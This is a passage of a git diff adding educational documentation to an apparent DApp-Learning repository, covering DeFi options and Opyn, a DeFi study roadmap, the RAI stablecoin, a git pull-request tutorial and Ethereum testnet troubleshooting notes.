+比如卖方抵押1800美金并以25美金的价格卖出一份8月27日到期执行价格为1800美金的以太坊看跌期权，卖方有义务在8月27日以1800美金买入一个以太坊，如果8月27日以太坊的价格为1500美金，那么执行这份期权卖方就亏了275（300-25）美金，如果8月27日以太坊价格不低于1800美金，期权卖方就赚了25美金的期权费。  
+
+
+
+决定 DeFi 期权定价的主要因素类似于常规期权市场中的因素，即：当前资产价格、执行价格、到期时间（也称为时间价值）、和波动性
+
+## 期权术语
+1. Delta (Δ)：期权价格对标的资产价格的敏感性  
+Delta 解释了如果标的资产价格上涨，期权将如何反应。例如，长期看涨 WETH 是押注 WETH 会上涨。Delta 从数量上告诉我们这种关系有多强。即 0.5 delta 意味着 WETH 每增加 1 美元，看涨期权就会上涨 0.50 美元。 
+
+2. Gamma (Γ)：delta 对标的资产价格的敏感性  
+Gamma 解释了凸性，或 delta 的斜率。它是 delta 的导数，表示 delta 如何随标的物价格上涨而变化。
+
+3. Theta (Θ)：期权价格随时间推移的敏感性  
+Theta 告诉我们期权的价格如何随着时间的推移而变化。所有选项最终都会过期。当它们接近到期时，它们变得不那么有用并且价值下降。Theta 告诉我们这种下降发生的速度有多快。即 -.5 theta 意味着期权每天下跌 0.50 美元。
+
+4. Vega (V)：期权价格对隐含波动率的敏感性  
+Vega 解释了期权价格如何随着标的资产的（隐含）波动性变化而变化。当市场预测未来波动性增加时，所有期权的价值都会上涨。
+
+5. Rho (ρ)：期权价格对利率的敏感性    
+ Rho 表达了利率和期权价格之间的关系。如果为负，则意味着如果利率上升，期权的价值将下降。如果它是正的，那么期权的价值将随着利率上升。
+
+## opyn如何运行
+
+Opyn允许用户购买USDC和DAI稳定币的看跌期权，以对冲在Compound平台上发生黑天鹅事件的风险。
+如前面关于Compound平台的描述，当某人借贷DAI时，他们将获得cDAI通证作为回报。通过使用Opyn，交易者可以购买oToken，这些oToken可以作为出售cDAI的权利，并在Compound平台上的智能合约受到攻击时收回DAI。
+
+在Opyn上购买价值1DAI的保险实际上是在以0.92美元的行权价购买cDAI资产的美国看跌期权。在Compound平台受到攻击时，Compound上的任何DAI存款将不再价值1美元，而是更少，比如0.10美元。使用Opyn的ocDAI通证，保险购买者可以赎回价值0.92美元的ETH。这样可以保障用户免受智能合约导致的损失。不需要中心化机构来验证索赔，因此它是真正的去中心化保险。
+
+## 为什么有人会在Opyn提供保险？
+对于Opyn上的每个保险购买者（看跌期权的买方），必须在Opyn上有一个保险提供者（看跌期权的卖方）。通过成为Opyn的保险提供商，以太币持有人可以获得ETH收益。
+为此，首先要以最低160％的抵押率向Opyn的智能合约抵押ETH以发行oTokens。保险提供商可以在Compound平台上为USDC或DAI发行oToken。  
+
+
+## 介绍
+Opyn是首批推出的去中心化期权平台之一。第一个版本Opyn V1，让用户以oTokens的形式创建代币化的美式期权，锁定100%的基础资产作为抵押。这确保持有人可以一直行使期权，因为它是完全抵押的。
+
+通过让期权卖方锁定他们的抵押品，并提供足够的流动性，Opyn就可以提供广泛的拥有固定期限和执行价格的资产期权，如ETH、WBTC、UNI和SNX。oTokens可以通过发送等量稳定币和燃烧oTokens来行使期权，以换取基础资产，或者可以通过Uniswap转售给其他买家。除此之外，Opyn不收取任何额外的交易或结算费用。
+
+Opyn V2的推出，增加了一些额外的功能，如自动行权和闪电造币，这是对Aave流行的闪电贷的创新改造。最新的版本通过订单系统提供欧式期权，类似于Deribit，但目前仅限于包裹的以太币（WETH），而且执行价格和到期日的范围较小
+
+## 参考链接
+
+- https://nigdaemon.gitbook.io/how-to-defi-advanced-zhogn-wen-b/di-7-zhang-qu-zhong-xin-hua-yan-sheng-pin  
+- https://mp.weixin.qq.com/s/pu7IWw5wCJ8SBGXCC2CDig 使用教程
+- https://mp.weixin.qq.com/s/e961fof1OlXdzWdp2OMCAQ v2教程
+- https://medium.com/opyn/a-beginners-guide-to-defi-options-opyn-v2-4d64f91acc84 期权初学者指南
+- https://www.notion.so/af443219baa74d2b9c0471f608b269a3 期权文档  
+- https://www.fmz.com/bbs-topic/1254 发明者期权介绍  
+- https://m.weibo.cn/status/4682461642753770?wm=3333_2001&from=10B6393010&sourcetype=weixin 空投指南
+- univ3 impermanent loss insurance contract： https://blockcast.cc/news/understand-acs-new-work-protection-markets-uniswap-v3-lp-volatile-loss-insurance-agreement/
+- univ3 期权对冲：https://lambert-guillaume.medium.com/
diff --git a/defi/readme.md b/defi/readme.md
new file mode 100644
index 000000000..639c56f9e
--- /dev/null
+++ b/defi/readme.md
@@ -0,0 +1,106 @@
+# **DeFi 学习路线图**
+
+## **学习路径**
+
+学习 DeFi 可按以下顺序进行，从基础到高级逐步深入：
+
+1. **交易模块**  
+   探索不同版本的去中心化交易协议：  
+   - UniSwap: UniV1 -> UniV2 -> UniV3  
+   - Curve: CurveV1 -> CurveV2  
+
+2. **借贷模块**  
+   学习主流借贷协议的功能与机制：  
+   - Aave  
+   - Compound  
+   - Liquity  
+   - Euler  
+
+3. **衍生品模块**  
+   了解去中心化金融衍生品的基本原理与实现：  
+   - Synthetix (SNX)  
+   - Yearn Finance (YFI)  
+   - Perpetual Protocol  
+   - Opyn  
+
+4. **LSD/ReStaking 模块**  
+   深入探索流动性质押和重质押技术：  
+   - Lido  
+   - Eigenlayer  
+   - Ether.fi  
+   - Ethena.fi  
+
+## **衍生品参考项目**
+
+- **DeFi 衍生全景图**:  
+  [0xperp/defi-derivatives](https://github.com/0xperp/defi-derivatives)  
+  详细展示 DeFi 衍生品生态及其发展趋势。
+
+## **推荐学习资源**
+
+### **学术与技术文献**
+- **DeFi 论文集锦**:  
+  [Protocol Reading List](https://github.com/bryanhpchiang/protocol-reading-list)  
+  汇总 DeFi 相关学术论文和技术报告，帮助深入理解协议设计原理。
+
+- **慢雾的《黑暗森林》系列文章**:  
+  详解 DeFi 中的 MEV（最大可提取价值）与安全问题，提供经济攻击与防御策略的深入分析。  
+  [黑暗森林系列](https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook/blob/main/README_CN.md)
+
+- **Paradigm 研究文章**:  
+  聚焦前沿 DeFi 技术与经济模型分析。  
+  [Paradigm Research](https://www.paradigm.xyz/writing?page=1&s=0&sort=newest&tags=research)
+
+### **系统性学习资源**
+- **DeFi 市场地图**:  
+  [DeFi Llama](https://defillama.com/)  
+  提供 DeFi 协议的市场数据，追踪 TVL（总锁仓量）和生态趋势。
+
+- **DeFi 开发指南**:  
+  [OpenZeppelin 文档](https://docs.openzeppelin.com/)  
+  包括智能合约的安全开发指南和常用设计模式。
+
+- **Consensys 开发者资源**:  
+  [Consensys Docs](https://consensys.net/docs/)  
+  涵盖以太坊生态开发工具及 DeFi 应用开发实践。
+
+### **技术博客与社区**
+- **Defiant Newsletter**:  
+  [Defiant](https://newsletter.thedefiant.io/)  
+  提供 DeFi 行业最新动态和深度分析。
+
+- **Finematics 技术博客**:  
+  [Finematics](https://finematics.com/)  
+  通过视频和文章深入剖析 DeFi 技术和协议设计，适合各层次学习者。
+
+- **Crypto Twitter**:  
+  关注 DeFi 领域的知名创始人和开发者：  
+  - Andre Cronje (YFI)  
+  - Hayden Adams (UniSwap)  
+  - Stani Kulechov (Aave)  
+
+### **工具与模拟平台**
+- **Dune Analytics**:  
+  [Dune](https://dune.com/)  
+  提供强大的数据分析与可视化工具，支持创建自定义仪表盘，分析 DeFi 项目表现。
+
+- **Tenderly**:  
+  [Tenderly](https://tenderly.co/)  
+  支持智能合约实时监控、调试和性能优化。
+
+- **BlockScience**:  
+  [BlockScience](https://block.science/)  
+  用于模拟和验证 DeFi 策略的模型与工具。
+
+### **视频学习**
+- **Bankless YouTube 频道**:  
+  [Bankless](https://www.youtube.com/c/Bankless)  
+  提供从基础到高级的 DeFi 视频课程，深入解读行业动态与实用策略。
+
+- **CryptoZombies**:  
+  [CryptoZombies](https://cryptozombies.io/)  
+  通过互动编程课程学习 Solidity，特别适合初学者。
+
+---
+
+通过这些资源，你可以从多个角度深入理解 DeFi 的技术、市场和发展趋势，为实际操作和开发奠定坚实基础。
\ No newline at end of file
diff --git "a/defi/stablecoin/Dapp Learning \347\256\227\347\250\263.pptx" "b/defi/stablecoin/Dapp Learning \347\256\227\347\250\263.pptx"
new file mode 100644
index 000000000..251315aba
Binary files /dev/null and "b/defi/stablecoin/Dapp Learning \347\256\227\347\250\263.pptx" differ
diff --git "a/defi/stablecoin/RAI/img/\344\270\215\345\217\257\350\203\275\344\270\211\350\247\222.jpeg" "b/defi/stablecoin/RAI/img/\344\270\215\345\217\257\350\203\275\344\270\211\350\247\222.jpeg"
new file mode 100644
index 000000000..0487e7443
Binary files /dev/null and "b/defi/stablecoin/RAI/img/\344\270\215\345\217\257\350\203\275\344\270\211\350\247\222.jpeg" differ
diff --git a/defi/stablecoin/RAI/readme.md b/defi/stablecoin/RAI/readme.md
new file mode 100644
index 000000000..0e420d8af
--- /dev/null
+++ b/defi/stablecoin/RAI/readme.md
@@ -0,0 +1,34 @@
+# RAI
+
+## 背景
+  由 Reflexer Labs 开发、由 ETH 支持的稳定资产 RAI 是一种降低或延迟资产波动性的方案，以便为其它 DeFi 协议提供这类低波动性的资产作为基础的标的资产。  
+  RAI 是一种仅由 ETH 支持的稳定资产，与其他由央行发行的稳定币不同的是，RAI 依靠算法来维持价格的稳定，而无需与美元等外部价格挂钩，主打的特点是治理最小化，在尽可能少的人为干预下工作，这也是为什么创始团队 Reflexer Labs 把 RAI 称为金钱之神。
+  格里芬困境：：即为了保证全球主要结算货币（美元）的充足性，不得「印出」超本国需求的美元；但由于货币超发，难以保证本国通货膨胀处于正常水平，在确保国际资金充足的情况下，实际上是伤害了本国的利益。  
+ 
+ ## 原理
+ RAI 在很多方面与 DAI 相似，是 MCD 系统的硬分叉。
+ RAI 有一个任意设定的初始目标价格（发行时初始目标价格为 3.14 美元），只要市场价格与目标价格不同，RAI 就会通过算法调整利率——也就是「赎回率」（redblockquoteption rate）以应对价格变化。当赎回率调整时，人们就会选择铸造或销毁他们的 RAI，通过改变代币供应量，RAI 价格也就能保持稳定了。 
+
+ 用户收到的 RAI 单位数取决于目标价格，但价值不取决于目标价格。例如，假设 RAI 的最小抵押比率为 145%，用户存入了 1 ETH，1 ETH = $100 USD。用户可以提取价值高达 69 美元的 RAI。如果 RAI = 1 美元的目标价，那么价值 69 美元的 RAI 将相当于 69 RAI。如果目标价为 RAI = 3 美元，那么价值 69 美元的 RAI 将只有 23 RAI。因此，RAI 的目标价格可以理解为系统内债务的价格。
+ 当 RAI 的市场价格等于其目标价格时，可以说 RAI 到达了均衡模式。当 RAI 的均衡被扰动时，控制器设定反向市场利率，具体说根据目标价格与市场价格的相对差来确定利率。
+
+ 在 MakerDAO，向 DAI 的贷款人收取稳定费（stability fee）。如果稳定费是 3%，你借了 100DAI，那么一年后你就欠了 103DAI。MakerDAO 促进稳定性的方法之一是，当 DAI 的价格下降时，让 MKR 持有人投票增加稳定费，借贷人到期需要偿还更多的 DAI，这意味借款人需要在市场中买更多的 DAI 以偿还贷款（总体贷款美元计价不变），这就将 DAI 的价格推回到 1 美元的固定汇率。
+
+ RAI 的利率更有趣。例如，如果 RAI 的市场价格从均衡点下跌了 10%，而 RAI 调节机制的反应就是设置 x%/天的利率，那么 RAI 实际上是将目标价格提高了 x%/天。对 RAI 借款人来说，由于将债务重新定价为更高的成本，这与直接向他们收取利率具有同样的影响，这也将促使其买入更多的 RAI 以偿还 RAI 贷款（但实际锚定美元成本不变）。RAI 的这种机制鼓励借款人偿还债务 (为此他们需要购买 RAI)，这有助于 RAI 恢复平衡。  
+
+ ETH 杠杆需求上升→ 质押并卖出 RAI → RAI 价格下降；（质押出 RAI，并用 RAI 买入 ETH）
+RAI 需求上升→购买 RAI → RAI 价格上升。
+
+
+## 技术解析
+技术文档：https://docs.reflexer.finance/
+medium :https://medium.com/reflexer-labs/stability-without-pegs-8c6a1cbc7fbd
+
+
+## 参考链接
+- Ameen Soleimani 详细解释了RAI如何解决稳定币特里芬困境： https://zhuanlan.zhihu.com/p/358193948
+- Reflexer：不同于稳定币的另一原生加密稳定资产RAI： https://zhuanlan.zhihu.com/p/352154160
+- 一文读懂新型算法稳定币三杰Fei、Float、Reflexer： https://www.blockvalue.com/blockchain/20210323845831.html
+- 看Reflexer如何将PID控制理论应用于加密货币: https://xw.qq.com/partner/hwbrowser/20210412A0AYVE/20210412A0AYVE00?ADTAG=hwb&pgv_ref=hwb&appid=hwbrowser&ctype=news
+- Advanced DeFi Management: https://defisaver.com/
+- 特里芬难题: https://wisburg.com/articles/194355
\ No newline at end of file
diff --git a/defi/stablecoin/readme.md b/defi/stablecoin/readme.md
new file mode 100644
index 000000000..3e0626f54
--- /dev/null
+++ b/defi/stablecoin/readme.md
@@ -0,0 +1,11 @@
+# 算法稳定币
+- Ampleforth（AMPL）
+- Empty Set Dollar（ESD）
+- Basis Cash（BAC/BAS）
+- Frax（FRAX/FXS）
+
+
+
+## 参考链接
+https://www.blockvalue.com/blockchain/20210323845831.html
+https://olive-math-542.notion.site/Stablecoin-eda55d06280e45c999c196d60a696202
\ No newline at end of file
diff --git "a/defi/\351\223\276\344\270\212\350\277\275\350\270\252\346\211\247\350\241\214.xmind" "b/defi/\351\223\276\344\270\212\350\277\275\350\270\252\346\211\247\350\241\214.xmind"
new file mode 100644
index 000000000..a9616637b
Binary files /dev/null and "b/defi/\351\223\276\344\270\212\350\277\275\350\270\252\346\211\247\350\241\214.xmind" differ
diff --git a/docs/Create_DApp-Learning_PR_Tutorial-en.md b/docs/Create_DApp-Learning_PR_Tutorial-en.md
new file mode 100644
index 000000000..106bb8796
--- /dev/null
+++ b/docs/Create_DApp-Learning_PR_Tutorial-en.md
@@ -0,0 +1,146 @@
+# Create DApp-Learning PR Tutorial
+
+This is a text tutorial, video tutorial can be transferred[Create PR Video Tutorial](https://www.bilibili.com/video/BV1Bq4y1r7dx?spm_id_from=333.999.0.0)
+
+### 0. Open github project
+
+https://github.com/Dapp-Learning-DAO/Dapp-Learning
+
+### 1. Click on the top right Fork
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr0rmvpfj313j0u00wr.jpg)
+
+After the Fork, you can find that there is a project with the same nickname in our warehouse:
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr1mymj9j30wx0u0juy.jpg)
+
+### 2. Then we can pull the warehouse after our fork onto the local
+
+We open the terminal and cut to the desktop, then execute the command:
+
+>>> git clone https://github.com/BNineCoding/Dapp-Learning.git
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr4kz43fj30y20cojtg.jpg)
+
+Note: where 'BNineCoding' is my own Github username, you can clone your own fork after the project link
+
+After clone is completed, we can find the file of dapp-Learning on the desktop:
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr569dt9j306205gwee.jpg)
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr68kf6sj312i0m2dic.jpg)
+
+Next, we can modify the clone project.
+
+### 3. Modify project content
+
+There are many ides available to modify the Clone project content, so we recommend using 'Visual Studio Code'.
+
+After downloading 'Visual Studio Code', we use 'Visual Studio Code' to open the 'dapp-Learning' folder on our desktop:
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmraya1xrj30zb0n2q7k.jpg)
+
+Let's make a few simple changes to readme. md, such as adding a period: ".
+
+Then we can run command `git status` on terminal，find `README.md` file had changed：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrtrlrs4j30ve0d0aby.jpg)
+
+Next we will commit our changes to the remote end.
+
+### 4. Submitting remote Changes
+
+To first save our changes to the local cache repository, run the following command:
+
+>>> git add .
+
+Next we generate a commit record for our changes, executing the command:
+
+>>> git commit -m "update README"
+
+We then push the changes to the remote, executing the command:
+
+>>> git push 
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrw7ignpj30wk0myn1b.jpg)
+
+This way our changes are successfully committed to the remote end.
+
+### 5. Provide PR to commit changes to the main project
+
+Open our forked project on Github, click Pull Requests, and then click New Pull Request:
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrzcq9j7j31is0ld40j.jpg)
+
+The screen shows what I changed:
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrzsxonlj31i30rddji.jpg)
+
+Then click Create Pull Request to submit the PR to the main project.
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwms212sigj316t0u0tc8.jpg)
+
+So we successfully submitted the PR:
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwms2oku1xj31cc0u0wic.jpg)
+
+You may have two questions when you think about the long work ahead:
+
+- 1. How do I keep my fork project synchronized with the original project? (Request: Merge original project code into own fork)
+- 2. I want to directly cover my fork's warehouse with the original project. How do I do that
+
+Here is also the answer.
+
+### 6. How does the fork repository merge the original project code
+
+Github provides a convenient way to synchronize the finest code from the original upstream project to your fork by clicking on 'Fetch Upstream' :
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsazlm35j31fp0fj0uv.jpg)
+
+However, I recommend using the git command, which is more convenient. The git term is: configure remote libraries for fork
+
+First we look at the remote library information for the current fork project, execute:
+
+>>> git remote -v
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsdu1bypj30sk03imxs.jpg)
+
+It can be found that the current directory is all our own links, and there is no link of the original project upstream.
+
+We then identify an upstream repository that will be synchronized to the fork remote and execute the command:
+
+>>>  git remote add upstream https://github.com/Dapp-Learning-DAO/Dapp-Learning.git
+
+After executing, we check the remote library information again and execute the command:
+
+>>> git remote -v
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsf730zaj318s0b2dix.jpg)
+
+We can see that our remote library has been configured successfully. Next we need to pull the upstream original project code changes and execute the command:
+
+>>> git fetch upstream
+
+Next we need to upstream the original project code from rebase on our local branch and execute the command:
+
+>>> git rebase upstream/main
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmspglal6j30zo0b0go1.jpg)
+
+Note: Merge commands are not recommended because they create a new COMMIT node. When you commit PR, merge records will also be taken up.
+
+You can see that we already have the latest code here, so it says' not something we can merge '.
+
+If there is a new change, we can push it to the remote end of our warehouse after the merge is completed, and execute the command:
+
+>>> git push origin master
+
+If you want the upstream original project to overwrite the local fork's project directly, you can execute the command:
+
+>>> git reset upstream/main --hard
+
+Then forcibly push, execute command:
+
+>>> git push --force
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsqsco4fj31120n843j.jpg)
diff --git a/docs/Create_DApp-Learning_PR_Tutorial.md b/docs/Create_DApp-Learning_PR_Tutorial.md
new file mode 100644
index 000000000..ab62f3ed2
--- /dev/null
+++ b/docs/Create_DApp-Learning_PR_Tutorial.md
@@ -0,0 +1,146 @@
+# 提交 DApp-Learning PR 教程
+
+此为文字教程，视频教程可转[提交PR视频教程](https://www.bilibili.com/video/BV1Bq4y1r7dx?spm_id_from=333.999.0.0)
+
+### 0. 打开项目github 
+
+https://github.com/Dapp-Learning-DAO/Dapp-Learning
+
+### 1. 点击右上角 Fork
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr0rmvpfj313j0u00wr.jpg)
+
+Fork完之后可以发现我们的仓库中也存在一份相同昵称的项目：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr1mymj9j30wx0u0juy.jpg)
+
+### 2. 接着我们可以把我们fork之后的仓库，拉到本地上
+
+我们打开终端切到桌面，然后执行命令：
+
+>>> git clone https://github.com/BNineCoding/Dapp-Learning.git
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr4kz43fj30y20cojtg.jpg)
+
+注：其中 `BNineCoding` 是我自己github的username，你可以clone你自己fork后的项目链接
+
+clone 完成后，我们可以在桌面上找到 DApp-Learning 的文件：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr569dt9j306205gwee.jpg)
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmr68kf6sj312i0m2dic.jpg)
+
+接下来我们可以对clone下来的项目进行修改。
+
+### 3. 修改项目内容
+
+修改 clone 的项目内容有很多IDE可以使用，这里建议大家使用 `Visual Studio Code`。
+
+下载完 `Visual Studio Code` 后，我们使用 `Visual Studio Code` 打开我们桌面上的 `DApp-Learning`文件夹：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmraya1xrj30zb0n2q7k.jpg)
+
+我们简单修改一下 README.md 下的内容，比如添加一个句号: "。"
+
+然后我们在终端执行 `git status` ，可以发现 `README.md` 文件发生了变更：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrtrlrs4j30ve0d0aby.jpg)
+
+接下来我们要将我们的修改提交到远端。
+
+### 4. 提交云端修改
+
+首先将我们的修改保存到本地缓存仓库中，执行命令:
+
+>>> git add .
+
+接着我们为我们的修改生成一个提交记录（commit），执行命令：
+
+>>> git commit -m "update README"
+
+然后我们将修改推送到远端，执行命令：
+
+>>> git push 
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrw7ignpj30wk0myn1b.jpg)
+
+如此一来我们的修改便成功提交到远端。
+
+### 5. 提供PR将修改提交到主项目中
+
+打开github上我们fork的项目，点击 Pull requests，然后点击 New pull request：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrzcq9j7j31is0ld40j.jpg)
+
+界面会展示我修改过的内容：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmrzsxonlj31i30rddji.jpg)
+
+然后我们点击 Create pull request，即可提交PR到主项目中。
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwms212sigj316t0u0tc8.jpg)
+
+如此一来我们便成功提交了PR：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwms2oku1xj31cc0u0wic.jpg)
+
+可能有小伙伴想到了长久之后的工作会产生两个疑问：
+
+- 1. 我fork的项目如何保持和原项目同步呢？（诉求：要merge原项目的代码到自己fork分支下）
+- 2. 我想用原项目直接覆盖我fork的仓库，怎么做呢
+
+这里也顺便解答一下。
+
+### 6. fork的仓库如何去merge原项目代码
+
+Github 网站提供了便捷的同步方式，你可以直接点击 `Fetch upstream`，即可将上游原项目最细代码同步到自己fork的项目下：
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsazlm35j31fp0fj0uv.jpg)
+
+不过我建议还是使用 git 命令操作，会更加便捷，git 上的术语为：给fork配置远程库
+
+首先我们查看当前 fork项目 的远程库信息，执行命令：
+
+>>> git remote -v
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsdu1bypj30sk03imxs.jpg)
+
+可以发现当前目录下都是我们自己的链接，并没有上游原项目的链接。
+
+接着我们确定一个将被同步给 fork 远程的上游仓库，执行命令：
+
+>>>  git remote add upstream https://github.com/Dapp-Learning-DAO/Dapp-Learning.git
+
+执行完毕后我们再次查看远程库信息，执行命令：
+
+>>> git remote -v
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsf730zaj318s0b2dix.jpg)
+
+可以发现我们的远程库已经配置成功了，接下来我们要去拉取上游原项目的代码变更，执行指令：
+
+>>> git fetch upstream
+
+接下来我们要在自己的本地分支上，去rebase上游原项目的代码，执行指令：
+
+>>> git rebase upstream/main
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmspglal6j30zo0b0go1.jpg)
+
+注：网上有很多是直接merge命令，merge命令会重新生成一个commit节点，等到你提交PR时你merge的记录也会被带上去，所以不建议使用merge。
+
+可以发现我们这里已经是最新的代码了，所以显示`not something we can merge`。
+
+如果有了新的变动，merge完毕后我们推送到自己仓库的远端即可，执行指令:
+
+>>> git push origin master
+
+如果想让上游原项目直接覆盖本地fork的项目，可以执行命令:
+
+>>> git reset upstream/main --hard
+
+然后进行强行推送即可，执行命令:
+
+>>> git push --force
+
+![](https://tva1.sinaimg.cn/large/008i3skNgy1gwmsqsco4fj31120n843j.jpg)
diff --git a/docs/TROUBLE_SHOOTING-en.md b/docs/TROUBLE_SHOOTING-en.md
new file mode 100644
index 000000000..5e95c1bf6
--- /dev/null
+++ b/docs/TROUBLE_SHOOTING-en.md
@@ -0,0 +1,114 @@
+## Common problem
+
+- When installing front-end dependencies, If NPM or YARN is changed to a domestic source, Still a similar ` getaddrinfo ENOENT raw.githubusercontent.com ` error, consider setting up a proxy for it：
+
+    ```shell
+    npm config set proxy http://username:password@server:port
+    npm config set https-proxy http://username:password@server:port
+    ```
+
+    For example：(To set the proxy for YARN, replace the NPM with YARN and the port with the port of the local proxy.)
+
+    ```shell
+    npm config set proxy http://127.0.0.1:2802
+    npm config set https-proxy http://127.0.0.1:2802
+    ```
+
+## **Testnet Faucet Application**
+
+### **Ethereum Testnet Comparison Analysis**
+
+Ethereum test networks are designed to provide developers with environments for experimentation and testing. Each testnet differs in consensus mechanism, use case, design objectives, and resource allocation. Below is a detailed comparison of Rinkeby, Kovan, Ropsten, Goerli, Holesky, and Sepolia.
+
+#### **1. Rinkeby**
+- **Launch Date**: 2017  
+- **Consensus Mechanism**: Proof of Authority (POA)  
+- **Features**:
+  - Relies on designated validators to run nodes, enabling faster transaction confirmation.
+  - Stable network but with low decentralization.
+  - Suitable for scenarios requiring rapid testing.  
+- **Current Status**: Gradually deprecated; no longer recommended for new projects.
+
+---
+
+#### **2. Kovan**
+- **Launch Date**: 2017  
+- **Consensus Mechanism**: Proof of Authority (POA)  
+- **Features**:
+  - Created by the Parity team, offering fast synchronization and stable performance.
+  - Nodes require permission to operate, limiting participants.
+  - Suitable for permissioned chains and private development environments.  
+- **Current Status**: Deprecated; developers have migrated to other networks.
+
+---
+
+#### **3. Ropsten**
+- **Launch Date**: 2016  
+- **Consensus Mechanism**:
+  - Initially: Proof of Work (POW).
+  - Later: Transitioned to Proof of Stake (POS) to simulate the Ethereum mainnet shift.  
+- **Features**:
+  - The testnet most similar to the mainnet, supporting comprehensive testing and contract deployment.
+  - Allowed mining to obtain test tokens, offering some decentralization.
+  - High operational costs and slower synchronization due to POW mechanism.  
+- **Current Status**: Deprecated since late 2022.
+
+---
+
+#### **4. Goerli**
+- **Launch Date**: 2019  
+- **Consensus Mechanism**: Proof of Authority (POA), later transitioned to Proof of Stake (POS).  
+- **Features**:
+  - Multi-client support with strong compatibility, ideal for cross-client development.
+  - Test tokens (GoETH) are limited and require faucets or requests, potentially causing bottlenecks.
+  - Widely used for smart contract testing and validation.  
+- **Current Status**: Deprecated.
+
+---
+
+#### **5. Holesky**
+- **Launch Date**: 2023  
+- **Consensus Mechanism**: Proof of Stake (POS)  
+- **Features**:
+  - Designed for Ethereum staking and protocol upgrade testing with high performance.
+  - Provides a large supply of test tokens, addressing the limitations of Goerli tokens.
+  - Suitable for complex testing needs for developers and validators.  
+- **Current Status**: Emerging as a potential replacement for Goerli, aiming to support broader ecosystem needs.
+
+---
+
+#### **6. Sepolia**
+- **Launch Date**: October 2021  
+- **Consensus Mechanism**: Initially Proof of Work (POW), later transitioned to Proof of Stake (POS).  
+- **Features**:
+  - Designed specifically for developers, offering a precise testing environment for smart contracts and decentralized applications (dApps).
+  - Equipped with fast synchronization and a permissioned validator set for efficient operations.
+  - Unlimited test tokens (SepETH) ensure developers are not constrained by token shortages, resolving Goerli’s major issue.
+  - Positioned as Ethereum’s primary development test network for the future.  
+- **Current Status**: Regarded as one of the top choices for developers.
+
+---
+
+### **Comparison Summary**
+
+| Testnet   | Consensus Mechanism | Token Acquisition    | Features                                  | Current Status    | 
+|-----------|---------------------|----------------------|-------------------------------------------|-------------------|
+| **Rinkeby** | POA                | Free Faucet          | Fast but lacks decentralization           | Deprecated        |
+| **Kovan**   | POA                | Free Faucet          | Stable, requires permission to operate    | Deprecated        |
+| **Ropsten** | POW → POS         | Mining or Faucet     | Closest to mainnet, supports full testing | Deprecated        |
+| **Goerli**  | POA → POS         | Limited (Request)    | Strong compatibility, limited test tokens | Deprecated        |
+| **Holesky** | POS               | Unlimited            | For complex testing, resource-rich        | Emerging Network  |
+| **Sepolia** | POW → POS         | Unlimited            | Efficient, precise, developer-friendly    | Recommended       |
+
+---
+
+### **Faucet Links**
+
+#### **Holesky Testnet**  
+- [Stakely Faucet](https://stakely.io/faucet/ethereum-holesky-testnet-eth)  
+- [QuickNode Faucet](https://faucet.quicknode.com/ethereum/holesky)  
+- [PK910 Faucet](https://holesky-faucet.pk910.de/)  
+
+#### **Sepolia Testnet**  
+- [QuickNode Faucet](https://faucet.quicknode.com/base/sepolia)  
+- [Alchemy Faucet](https://www.alchemy.com/faucets/base-sepolia)  
\ No newline at end of file
diff --git a/docs/TROUBLE_SHOOTING.md b/docs/TROUBLE_SHOOTING.md
new file mode 100644
index 000000000..78ecff5cb
--- /dev/null
+++ b/docs/TROUBLE_SHOOTING.md
@@ -0,0 +1,130 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/TROUBLE_SHOOTING-en.md)
+
+## 常见问题
+
+- 安装前端依赖时，如果在 npm 或者 yarn 修改为国内源之后，依旧出现类似 `getaddrinfo ENOENT raw.githubusercontent.com` 的报错，可以考虑为其设置代理：
+
+    ```shell
+    npm config set proxy http://username:password@server:port
+    npm config set https-proxy http://username:password@server:port
+    ```
+
+    例如：（要为yarn设置代理将其中的npm替换为yarn即可，端口需要替换为本地代理的端口）
+
+    ```shell
+    npm config set proxy http://127.0.0.1:2802
+    npm config set https-proxy http://127.0.0.1:2802
+    ```
+
+- Cannot read property 'toHexString'  
+执行测试脚本时, 报类似如下的错误, 说明没有正确配置私钥, 需要重命名 .env.example 文件为 .env 文件, 然后在 .env 文件中配置私钥
+
+```shell
+TypeError: Cannot read property 'toHexString' of undefined
+    at isHexable (/Users/jolycao/Dapp-Learning/basic/05-ethersjs-erc20/node_modules/@ethersproject/bytes/lib/index.js:9:21)
